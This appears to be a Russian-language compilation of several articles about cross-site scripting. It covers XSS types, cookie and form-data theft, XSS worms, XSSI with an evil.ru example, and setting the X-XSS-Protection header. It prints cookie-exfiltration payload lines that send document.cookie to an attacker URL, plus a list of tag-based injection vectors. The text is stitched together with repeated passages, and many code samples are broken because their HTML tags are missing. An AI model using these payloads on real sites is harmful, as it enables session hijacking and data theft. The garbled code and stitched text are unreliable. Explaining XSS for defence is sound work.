Через XSS опытные злоумышленники интегрируют в страницы сайтов-жертв работающие на них скрипты, выполняемые в момент посещения зараженных ресурсов. Существует несколько видов XSS-уязвимостей, представляющих различную степень опасности.
Особенности пассивной и активной уязвимостиНаиболее осторожно стоит относиться к активной уязвимости. Когда злоумышленник внедряет свой SQL-код в доступную базу либо файл на сервер, жертвой может стать каждый посетитель зараженного ресурса. Такие места часто интегрируются, поэтому даже обработанные вашей защитой данные, хранящиеся в БД, могут по-прежнему представлять определенную опасность.
Создание пассивной XSS-уязвимости требует от злоумышленника определенной изобретательности. Либо вас заманивают на подставной ресурс всевозможными ссылками, либо пытаются любыми способами переадресовать на требуемый сайт. Обычно это происходит через письма от вымышленной администрации посещаемой вами страницы, с запросами проверки настроек аккаунта. Также активно используется разнообразные спам-рассылки или посты на широко посещаемых форумах.
Пассивная XSS-уязвимость может исходить как от POST так и от GET-параметров. Для первых характерен ряд различных ухищрений, для вторых – кодировка url-строки либо вставка дополнительных значений.
Похищение CookiesЧаще всего именно ваши Cookies становятся целью проводимой XSS атаки. Иногда в них остается ценная информация, включающая логины и пароли пользователей либо их хэш. Но достаточно опасны и совершения краж активных сессий важных для вас сайтов, поэтому не стоит забывать нажимать на кнопку «выход» даже при посещении сайтов с домашнего компьютера. Хотя большинство ресурсов для предотвращения подобных действий используют автоматическое ограничение длительности сессии. Доменные же ограничения XMLHttpRequest от таких атак не спасают.
Данные из заполняемых формПользуется популярностью и считывание информации в заполняемых формах. Для этого на вызывающих интерес страницах выполняется отслеживание событий (onsubmit), а все предоставляемые данные пересылаются также и на сервера злоумышленников. Такие атаки во многом схожи с фишинговыми, но кража происходит не на поддельном, а на реальном сайте с хорошей репутацией.
Распределенные DDoS-атакиДля атак через XSS используются и многопосещаемые ресурсы. Благодаря XSS-уязвимости выполняется переадресация приходящих на них запросов на взламываемый сервер, в результате чего его защита не выдерживает.
Поддельные межсайтовые запросы (CSRF/XSRF)У них также мало общего с XSS. Это отдельная разновидность уязвимостей, используемых в сочетании с XSS. Их целью является завлечение авторизованного пользователя с неуязвимого сайта на подставную уязвимую страницу для проведения обманных операций. Например, клиента, использующего электронную систему платежей, выманивают на уязвимый сайт, переводящий деньги на счета злоумышленников. Поэтому в большинстве платежных систем предусмотрена защита путем дополнительного введения пароля либо подтверждающего операцию кода.
Внедрение XSS-червейТакая XSS атака на сайт появилась с развитием известных соцсетей (Вконтакте, Twitter и других). Через них целые группы пользователей получают уязвимые XSS ссылки с интегрированными скриптами, рассылающими по сетям спам от их имени. Также широко практикуется и попутное копирование личной информации и фотографий на ресурсы злоумышленников.
Примеры безобидных XSSЗаметим, что многие типы счетчиков также выполняют роль активных XSS. С них ведется передача данных о регистрирующихся посетителях (их IP-адреса, данные об используемом оборудовании).
Только данный код интегрируется у вас в компьютере по вашей же воле. К другим подобным XSS можно смело отнести целый ряд кроссдоменных AJAX-запросов.
Межсайтовый скриптинг (сокращенно XSS) - широко распространенная уязвимость, затрагивающая множество веб-приложений. Она позволяет злоумышленнику внедрить вредоносный код в веб-сайт таким образом, что браузер пользователя, зашедшего на сайт, выполнит этот код.
Обычно для эксплуатации подобной уязвимости требуется определенное взаимодействие с пользователем: либо его заманивают на зараженный сайт при помощи социальной инженерии, либо просто ждут, пока тот сам посетит данный сайт. Поэтому разработчики часто не воспринимают всерьез XSS-уязвимости.
Но если их не устранять, это может нести серьезную угрозу безопасности.
Представим, что мы находимся в панели администратора WordPress, добавляем новый контент. Если мы используем для этого уязвимый к XSS плагин, он может заставить браузер создать нового администратора, видоизменить контент и выполнить другие вредоносные действия. Межсайтовый скриптинг предоставляет злоумышленнику практически полный контроль над самым важным программным обеспечением в наши дни - браузером.
XSS: Уязвимость для инъекцииЛюбой веб-сайт или приложение имеет несколько мест ввода данных -полей формы до самого URL. Простейший пример вводимых данных - когда мы вписываем имя пользователя и пароль в форму:
Наше имя будет храниться в базе данных сайта для последующего взаимодействия с нами. Наверняка, когда вы проходили авторизацию на каком-либо сайте, вы видели персональное приветствие в стиле «Добро пожаловать, Илья».
Именно для таких целей имена пользователей хранятся в базе данных.
Инъекцией называется процедура, когда вместо имени или пароля вводится специальная последовательность символов, заставляющая сервер или браузер отреагировать определенным, нужным злоумышленнику образом.
Межсайтовым скриптингом называется инъекция, внедряющая код, который будет выполнять действия в браузере от имени веб-сайта. Это может происходить как с уведомлением пользователя, так и в фоновом режиме, без его ведома.
Отраженная XSS-атака срабатывает, когда пользователь переходит по специально подготовленной ссылке.
Эти уязвимости появляются, когда данные, предоставленные веб-клиентом, чаще всего в параметрах HTTP-запроса или в форме HTML, исполняются непосредственно серверными скриптами для синтаксического анализа и отображения страницы результатов для этого клиента, без надлежащей обработки.
Хранимые (постоянные).Хранимые XSS возможны, когда злоумышленнику удается внедрить на сервер вредоносный код, выполняющийся в браузере каждый раз при обращении к оригинальной странице. Классическим примером этой уязвимости являются форумы, на которых разрешено оставлять комментарии в HTML-формате.
Уязвимости, вызванные кодом на стороне клиента (JavaScript, Visual Basic, Flash и т. д.): Также известные как DOM-модели: Отраженные (непостоянные).То же самое, что и в случае с серверной стороной, только в этом случае атака возможна благодаря тому, что код обрабатывается браузером.
Хранимые (постоянные).Аналогичны хранимым XSS на стороне сервера, только в этом случае вредоносная составляющая сохраняется на клиентской стороне, используя хранилище браузера.
Примеры XSS уязвимостей.Интересно, что в большинстве случаев, где описывается данная уязвимость, нас пугают следующим кодом:
Http://www.site.com/page.php?var=alert("xss");
Существует два типа XSS уязвимостей - пассивная и активная.
Активная уязвимость более опасна, поскольку злоумышленнику нет необходимости заманивать жертву по специальной ссылке, ему достаточно внедрить код в базу или какой-нибудь файл на сервере. Таким образом, все посетители сайта автоматически становятся жертвами. Он может быть интегрирован, например, с помощью внедрения SQL-кода (SQL Injection). Поэтому, не стоит доверять данным, хранящимся в БД, даже если при вставке они были обработаны.
Пример пассивной уязвимости можно посмотреть в самом начале статьи. Тут уже нужна социальная инженерия, например, важное письмо от администрации сайта с просьбой проверить настройки своего аккаунта, после восстановления с бэкапа. Соответственно, нужно знать адрес жертвы или просто устроить спам-рассылку или разместить пост на каком-нибудь форуме, да еще и не факт что жертвы окажутся наивными и перейдут по вашей ссылке.
Причем пассивной уязвимости могут быть подвержены как POST так и GET-параметры. С POST-параметрами, понятно, придется идти на ухищрения. Например, переадресация с сайта злоумышленника.
document.getElementsByTagName("form").submit();
Следовательно, GET-уязвимость чуть более опасна, т.к. жертве легче заметить неправильный домен, чем дополнительный параметр (хотя url можно вообще закодировать).
Кража CookiesЭто наиболее часто приводимый пример XSS-атаки. В Cookies сайты иногда хранят какую-нибудь ценную информацию (иногда даже логин и пароль (или его хэш) пользователя), но самой опасной является кража активной сессии, поэтому не забываем нажимать ссылку «Выход» на сайтах, даже если это домашний компьютер. К счастью, на большинстве ресурсов время жизни сессии ограничено.
Var іmg = new Image(); іmg.srс = "http://site/xss.php?" + document.cookie;
Поэтому и ввели доменные ограничения на XMLHttpRequest, но злоумышленнику это не страшно, поскольку есть , , , background:url(); и т.п.
Ищем форму через, например, getElementById и отслеживаем событие onsubmit. Теперь, перед отправкой формы, введенные данные отправляются также и на сервер злоумышленника.
Этот тип атаки чем-то напоминает фишинг, только используется не поддельный сайт, а реальный, чем вызывается большее доверие жертвы.
DDoS-атака (распределенная атака типа «отказ в обслуживании»)XSS-уязвимость на многопосещаемых ресурсах может быть использована для проведения DDoS-атаки. Суть проста - много запросов, которые не выдерживает атакуемый сервер.
Собственно отношение к XSS имеет косвенное, поскольку скрипты могут и не использоваться вовсе, достаточно конструкции вида:
Как можно защитить свой сайт от XSS? Как проверить код на наличие уязвимости? Существуют технологии вроде Sucuri Firewall, специально разработанные для того, чтобы избежать подобных атак. Но если вы разработчик, вы, безусловно, захотите узнать подробнее, как идентифицировать и устранить XSS-уязвимости.
Об этом мы поговорим в следующей части статьи, посвященной XSS.
Про возможность получения различной информации со сторонних сайтов с помощью простой атаки - Cross Site Scripting Inclusion (XSSI).
Если ты читаешь Easy Hack систематически, то, наверное, уже хорошо знаком с Same Origin Policy (SOP), мы к нему часто возвращаемся. Из-за SOP возможность взаимодействия между двумя «сайтами» очень ограничена. Но так как задача получения и оправки информации на одном сайте с другого возникает часто, то были внедрены различные методы для «смягчения» политики и организации взаимодействия. Например, такие, как CORS или crossdomain.xml. Один из более старых методов - подгрузка JavaScript с другого домена через тег . SOP нас здесь ничем не ограничивает: можно указать практически произвольное месторасположение.
К примеру, есть хост атакующего evil.ru и сайт жертвы - victim.com. На evil.ru мы можем положить файл HTML и сослаться на любой скрипт у жертвы:
При входе пользователя на сайт атакующего браузер подгрузит и запустит JS с victim.com, но в контексте SOP evil.ru. Это значит, что из JS самого атакующего мы сможем получить доступ к данным (не всем) JS с сервера жертвы.
Например, содержимое JS c cайта-жертвы (http://victim.com/any_script_.js):
Var a = "12345";
Тогда на сайте атакующего мы можем получить значение переменной:
console.log(a);
Идея работы проста, как алюминиевый чайник.
По сути, возможность подгружать с других сайтов статический JS несет в себе не больше проблем для сайта-жертвы, чем погрузка картинки.
Проблемы могут возникнуть, когда JS формируется динамически, то есть когда контент JS-скрипта меняется на основании данных из cookie в зависимости от того, какой пользователь к нему обращается. Например, в JS хранится какая-то «критичная» информация: персональные сведения (email, имя пользователя на сайте-жертве) или техническая инфа (анти CSRF-токены).
Но, как мы знаем, при подгрузке скрипта через тег браузер пользователя автоматически отправляет cookie пользователя. Сложив эти факты, мы получаем возможность получать информацию о любом пользователе, который зашел на сайт атакующего и при этом залогинен на сайте-жертве.
Что же мы можем узнать? Глобальные переменные и результаты работы глобальных функций. К сожалению, доступа к внутренним переменным/функциям нам не получить (хотя, возможно, кто-то найдет способ сделать и это).
Function test(){ return "private data frm function"; }
Такая атака выглядит возможной, но кажется, что она слишком проста и не должна быть распространенной. Этим и интересна презентация на Black Hat. Исследователи проанализировали 150 популярных сайтов и обнаружили, что в той или иной мере уязвима треть из них. Такая статистика заставляет взглянуть на проблему чуть более пристально.
Была выявлена и еще одна закономерность. Content Security Policy становится все более распространенной. Как ты знаешь, с ней мы можем указать, с каких доменов может быть подгружен тот или иной ресурс. Например, можно сказать исполнять JS только с того же ресурса. Кроме того, лучшие практики настройки CSP подразумевают запрет на запуск inline JS (то есть кода, который находится прямо в HTML, а не подгружен из JS-файла).
Однако перенос inline в файлы может быть сделан с костылями и на скорую руку - то есть посредством динамически генерируемых скриптов. Так как CSP никак не влияет на XSSI, мы опять-таки можем проводить наши атаки. Вот такая вот bad practice.
Межсайтовые скрипты (XSS) относятся к атаке инъекции кода на стороне клиента, в которой злоумышленник может выполнять вредоносные скрипты на веб-сайте или веб-приложении. XSS является одним из наиболее распространенных уязвимостей веб-приложения и происходит, когда веб-приложение не использует валидацию или кодирование вводимы-выводимых данных.
Используя XSS, злоумышленник не нацеливается непосредственно на жертву. Вместо этого он воспользуется уязвимостью веб-сайта или веб-приложения, которое посетит жертва, по существу используя уязвимый веб-сайт в качестве средства доставки вредоносного сценария в браузер жертвы.
В то время как XSS может быть использован в VBScript, ActiveX и Flash (хотя последний в настоящее время считается устаревшим), бесспорно, им наиболее широко злоупотребляют в JavaScript – в первую очередь потому, что JavaScript имеет фундаментальное значение для большинства сайтов.
Как работает межсайтовый скрипт
Чтобы запустить вредоносный код JavaScript в браузере жертвы, злоумышленник должен сначала найти способ внедрить полезные данные на веб-страницу, которую посещает жертва. Конечно, злоумышленник может использовать методы социальной инженерии, чтобы убедить пользователя посетить уязвимую страницу с введенной полезной нагрузкой JavaScript.
Для атаки на XSS уязвимый веб-сайт должен непосредственно включать пользовательский ввод на своих страницах. Затем злоумышленник может вставить строку, которая будет использоваться на веб-странице и обрабатываться браузером жертвы как код.
Следующий псевдо-код на стороне сервера используется для отображения последнего комментария на веб-странице.
Print "" print "Most recent comment" print database.latestComment print "" Приведенный выше скрипт просто распечатывает последний комментарий из базы данных комментариев и печатает содержимое на HTML-странице, предполагая, что распечатанный комментарий состоит только из текста.
Вышеупомянутый код страницы уязвим к xss, потому что злоумышленник может оставить комментарий, который содержит вредоносную нагрузку, например
doSomethingEvil();. Пользователи, посещающие веб-страницу, получат следующую HTML-страницу.
Most recent comment doSomethingEvil(); Когда страница загружается в браузере жертвы, вредоносный скрипт злоумышленника будет выполняться, чаще всего без осознания или возможности пользователя предотвратить такую атаку.
Важное примечание: -xss-уязвимость может существовать только если полезная нагрузка (вредоносный скрипт), который злоумышленник вставляет, в конечном счете обрабатывается (как HTML в данном случае) в браузере жертвы
Что может сделать злоумышленник с JavaScript?
Последствия того, что злоумышленник может сделать с возможностью выполнения JavaScript на веб-странице, могут не сразу проявиться, тем более что браузеры запускают JavaScript в очень жестко контролируемой среде и что JavaScript имеет ограниченный доступ к операционной системе пользователя и файлам пользователя.
Однако, учитывая, что JavaScript имеет доступ к следующему, легче понять, что творческие злоумышленники могут получить с JavaScript.
Вредоносный JavaScript имеет доступ ко всем тем же объектам, что и остальная часть веб-страницы, включая доступ к cookies. Файлы cookie часто используются для хранения маркеров сеансов, если злоумышленник может получить файл cookie сеанса пользователя, он может олицетворять этого пользователя.
JavaScript может использовать XMLHttpRequest для отправки http-запросов с произвольным содержанием в произвольных направлениях.
JavaScript в современных браузерах может использовать API HTML5, такие как доступ к геолокации пользователя, веб-камера, микрофон и даже конкретные файлы из файловой системы пользователя. В то время как большинство из этих API требуют участия пользователя, XSS в сочетании с некоторой умной социальной инженерией может принести злоумышленнику неплохие результаты.
Вообще, в сочетании с социальной инженерией, это способы позволяют злоумышленникам организовывать такие атаки, как кражу кук, кейлоггинг, фишинг и кражи личных данных. Критично, что уязвимости XSS обеспечивают идеальную почву для нападающих для эскалации атак на более серьезные.
Разве межсайтовые скрипты не проблема пользователя?
Нет. Если злоумышленник может злоупотребить уязвимостью XSS на веб-странице, чтобы выполнить произвольный JavaScript в браузере посетителя, безопасность этого веб-сайта или веб - приложения и его пользователей была скомпрометирована-xss не является проблемой пользователя, как и любая другая Уязвимость безопасности, если она затрагивает ваших пользователей, это повлияет на вас.
Анатомия межсайтовой скриптовой атаки
Для Xss-атаки нужны три участника: сайт, жертва и нападающий. В приведенном ниже примере предполагается, что целью злоумышленника является выдача себя за жертву путем кражи куки жертвы. Отправка файлов cookie на сервер злоумышленника может быть осуществлена различными способами, одним из которых является выполнение следующего кода JavaScript в браузере жертвы с помощью уязвимости XSS.
window.?cookie=” + document.cookie На рисунке ниже показано пошаговое руководство по простой атаке XSS.
- Злоумышленник вводит полезные данные в базу данных веб-сайта, отправляя уязвимую форму с помощью вредоносного кода JavaScript
- Жертва запрашивает веб-страницу с веб-сайта
- Веб-сайт служит браузеру жертвы страница с полезной нагрузкой злоумышленника как часть тела HTML.
- Браузер жертвы будет выполнять вредоносный скрипт внутри тела HTML. В этом случае он отправит куки жертвы на сервер злоумышленника. Теперь злоумышленник должен просто извлечь файл cookie жертвы, когда HTTP-запрос поступает на сервер, после чего злоумышленник может использовать украденный файл cookie жертвы.
Ниже приведен небольшой список сценариев атаки XSS, которые злоумышленник может использовать для нарушения безопасности веб-сайта или веб-приложения.
тег
Этот тег является наиболее прямой xss уязвимостью. Тег script может ссылаться на внешний код JavaScript.
alert("XSS"); тег
При xss инъекция может быть доставлена внутрь тега с помощью onload атрибута или другим более темным атрибутом, таким как background.
тег
Некоторые браузеры будут выполнять JavaScript, когда он находится в
.
тег
Этот тег позволяет встраивать другую HTML-страницу в родительскую. IFrame может содержать JavaScript, однако важно отметить, что JavaScript в iFrame не имеет доступа к DOM родительской страницы из-за политики безопасности содержимого браузера (CSP). Тем не менее, IFrames по-прежнему являются очень эффективным средством для фишинговых атак.
тег
В некоторых браузерах, если этот type атрибут тега имеет значение image, он может использоваться для размещения скрипта.
тег
В теге, который часто используется для ссылки на внешние таблицы стилей, могут содержаться скрипт.
| теги можно указать фон, и поэтому вставить скрипт.
тег Этот тег может использоваться для включения в скрипт с внешнего сайта. Уязвим ли ваш сайт для межсайтового скриптинга? Уязвимости XSS являются одними из наиболее распространенных уязвимостей веб-приложений в интернете. К счастью, легко проверить, если ваш веб-сайт или веб-приложение уязвимы для XSS и других уязвимостей, просто обратившись ко мне. Я за небольшую плату с помощью специальных программ просканирую ваш ресурс, найду потенциальные уязвимости и подскажу, как их устранить.
Использование заголовков безопасности является важным звеном в защите сайта и его посетителей от хакерских атак. В прошлой статье про из рубрики по защите и безопасности я обещал регулярно публиковать записи на эту тему. Сегодня я расскажу про защиту от XSS атаки. Что такое XSS-атакаМежсайтовый скриптинг (Cross Site Scripting) — это уязвимость, которая позволяет злоумышленнику внедрить вредоносный код (обычно HTML или JavaScript) в содержимое сайта. Вредоносный код выполняется в браузере пользователя, который просматривает зараженную страницу сайта. Злоумышленники могут эксплуатировать различные уязвимости. Наибольшее распространение получили два типа атаки:
Срабатывает при переходе пользователя по специально подготовленной ссылке, которая отправляет запрос на сайт с уязвимостью. Данная уязвимость обычно является результатом недостаточной фильтрации входящих запросов, что позволяет манипулировать функциями и активировать вредоносные скрипты.
Для успешного выполнения хранимой атаки злоумышленнику достаточно найти уязвимость на сайте и разместить на своём сервере вредоносный скрипт. Затем на сайте размещается тег , который загружает скрипт с с внешнего сайта, например, в комментариях. При загрузке заражённой страницы вредоносный скрипт каждый раз передаётся в браузер пользователя.
Заголовок X-XSS-Protection предназначен для включения фильтра межсайтового скриптинга, встроенного во всех современных браузерах. Он позволит, например, предотвратить выполнение тега в URL страницы. Директива report для отправки отчётов действует аналогично директиве report-uri (или report-to) Content Security Policy (CSP), указывая браузеру пользователя сообщать о попытках нарушения политики безопасности контента. Об этом я расскажу в отдельной статье. Отчёт о нарушениях формируется в формате JSON и отправляется POST-запросами по указанному адресу URL. Возвращаясь к основной теме, рекомендую настроить сервер таким образом, чтобы HTTP заголовок включал фильтрацию и при XSS-атаке блокировал загрузку страницы с небезопасным содержимым. В файле дополнительной конфигурации.htaccess (или httpd.conf, если у вас есть полный доступ к серверу) веб-сервера Apache необходимо добавить следующую запись: Header set X-XSS-Protection "1; mode=block"Для сервера Nginx дополните файл nginx.conf в разделе HTTP записью: Add_header X-XSS-Protection "1; mode=block" ; В том случае, если доступ к конфигурационным файлам сервера отсутствует, но есть поддержка PHP, тогда используйте функцию: Cross Site Scripting, также известный как XSS, — это один из способов внедрения вредоносного кода, который исполняется на стороне клиента. Пользователь может заметить что-то неладное, например, необычное поведение страницы, иногда атака совершается абсолютно не заметно в фоновом режиме.
Надеюсь, теперь вы стали немного больше понимать в HTTP-заголовках сервера и X-XSS поможет предотвратить межсайтовый скриптинг. Я использую заголовки безопасности на всех своих сайтах и настоятельно рекомендую вам сделать тоже самое. Вместе мы можем сделать интернет более безопасным! 😉 Читайте также
|
